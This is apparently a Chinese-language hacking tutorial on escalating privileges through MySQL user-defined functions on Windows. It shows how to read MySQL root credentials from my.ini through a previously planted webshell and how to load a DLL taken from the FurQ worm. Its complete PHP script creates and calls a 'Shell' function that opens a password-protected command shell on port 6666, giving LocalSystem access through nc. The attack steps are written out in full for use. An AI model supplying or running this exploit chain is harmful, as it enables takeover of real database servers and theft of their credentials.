前不久網上公開了一個MySQL Func的漏洞,講的是使用MySQL建立一個自定義的函數,然後通過這個函數來攻擊伺服器。最早看到相關的報道是在o-otik上,但是公布的是針對 Unix系統的Exploit,并且成功率也不是很高.而近期,國内有高手放出針對Win系統的相關文章,于是我馬上找來與朋友一同研究.
其實我們早就能想到.當我們在對MSSQL/Oracle資料庫進行攻擊的時候,得到了最資料庫中高權限的帳戶,往往都是執行特殊的擴充過程或者函數來 進行攻擊的。比如MSSQL有Xp_cmdshell,Oracle可以通過Msvcrt.dll來建立一個特殊的函數.而我們卻始終沒有想到,作為流行 的資料庫軟體之一的MySQL,也是可以進行函數的建立的.由此看來,MySQL的這個漏洞不應稱為漏洞而僅僅是一個技術而已.
廢話一堆過後,我們來了解一下怎麼在MySQL裡建立一個函數吧.這比如何利用重要許多,隻要了解了原理,運用就能更加靈活,而且可以與其他思想融會貫通.
MySQL中建立一個函數的語句為:
Create Function FunctionName Returns [String|Integer|Real] Soname ‘C:/function.dll’;
其中FunctionName指的是函數的名稱,C:/Function.DLL指的是函數所調用的DLL,而函數名正是DLL中的函數名稱.不過這裡 需要我們注意的是,如果我們需要MySQL可以在函數之中附帶一個參數的話,那麼就要符合UDF形式的程式編寫規則,具體的可以檢視MySQL手冊的第 14節:《為MySQL增加新函數》.而其中STRING,INTEGET,REAL是函數執行後所傳回的值的形式.當然,我們大可不必遵循UDF形式的 編寫,其實如果我們的函數中使用一個我們要執行的代碼,而不使用參數,一樣可以達到攻擊的效果,比如說System(”command.com”)等等. 網上現在以此漏洞進行攻擊的FurQ蠕蟲就是一個不使用UDF格式的例子.但是注意,這個建立函數的語句必須要求我們所用的MySQL帳戶有對mysql 這個資料庫的寫權限,否則無法正常使用.
好了.了解了原理之後,我們來實戰一下如何使用MySQL提升權限.
在這裡我們已經通過各式各樣的漏洞取得了一個伺服器的WebShell,我這裡示範的是angel的phpspy,因為PHP預設有連接配接MySQL的函數,而ASP這些需要使用附加的元件來進行連接配接,本身不具備條件的.
一般來說,在Win系統下面,很多軟體都會在系統目錄下建立一個叫my.ini的檔案,其中包含了很敏感的MySQL資訊.而如果我們攻克的主機沒有非 常好的權限設定的話,我們本身就具有對%windir%目錄的浏覽權限,是以可以非常容易的讀取其中的資訊.而且非常多的管理者通常是将root帳戶與密 碼寫進這個My.ini,是以一旦我們讀到root使用者的密碼,就可以操縱整個MySQL資料庫或者是伺服器了.如圖1.
得到 MySQL的Root密碼之後,我們需要上傳我們的DLL檔案,我這裡使用的是從FurQ蠕蟲中提取的FurQ.dll.執行這個FurQ.DLL中的 Shell函數,系統将會在6666端口打開一個帶密碼的CMDShell,當然,密碼我們已經知道,就是”FurQ”幾個字元而已.不過我們現在還沒有 執行的條件.需要通過MySQL将這個函數建立到MySQL中去.
現在,我們用PHPSPY建立一個PHP檔案.
輸入以下的内容
$link=mysql_connect(’127.0.0.1′,’root’,'root’);
if (!$link) {
die(’Could NOt Connect The Database!: ‘ . mysql_error());
};
echo “Good Boy.Connected!
“;
//這裡的root/root就是從my.ini中讀取的使用者和密碼.
@mysql_select_db(’mysql’) or die (’use database mysql failed!’);
echo “Yes You Did!
//這裡選擇使用MySQL資料庫表.當然你也可以選擇别的,如test.
$query=”Create Function Shell RETURNS INTEGER SONAME ‘d://wwwroot//FurQ.dll’;”;
@$result = mysql_query($query, $link) or die (”Create Function Failed!”);
echo “Goddess…Successed!
//這兩句話是關鍵,執行MySQL的建立函數語句.将d:/wwwroot/furq.dll中的Shell函數建立進MySQL中.使得MySQL可以執行這個Shell函數.
$query=”Select Shell();”;
@$result = mysql_query($query, $link) or die (”Execute failed”);
echo “Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
//這一步是執行這個Shell函數,打開伺服器的6666端口.
?>
再次執行,全部正常傳回.如圖2.那麼現在,我們就可以使用nc連接配接伺服器的6666端口,輸入這個密碼:FurQ.然後就傳回CMDSHELL了.. 當然,由于繼承的是MySQL的權限,而Win系統下MySQL預設以服務安裝,也就是說,我們得到的Shell為LocalSystem權限,可以為所 欲為了,不過不要做壞事哦.呵呵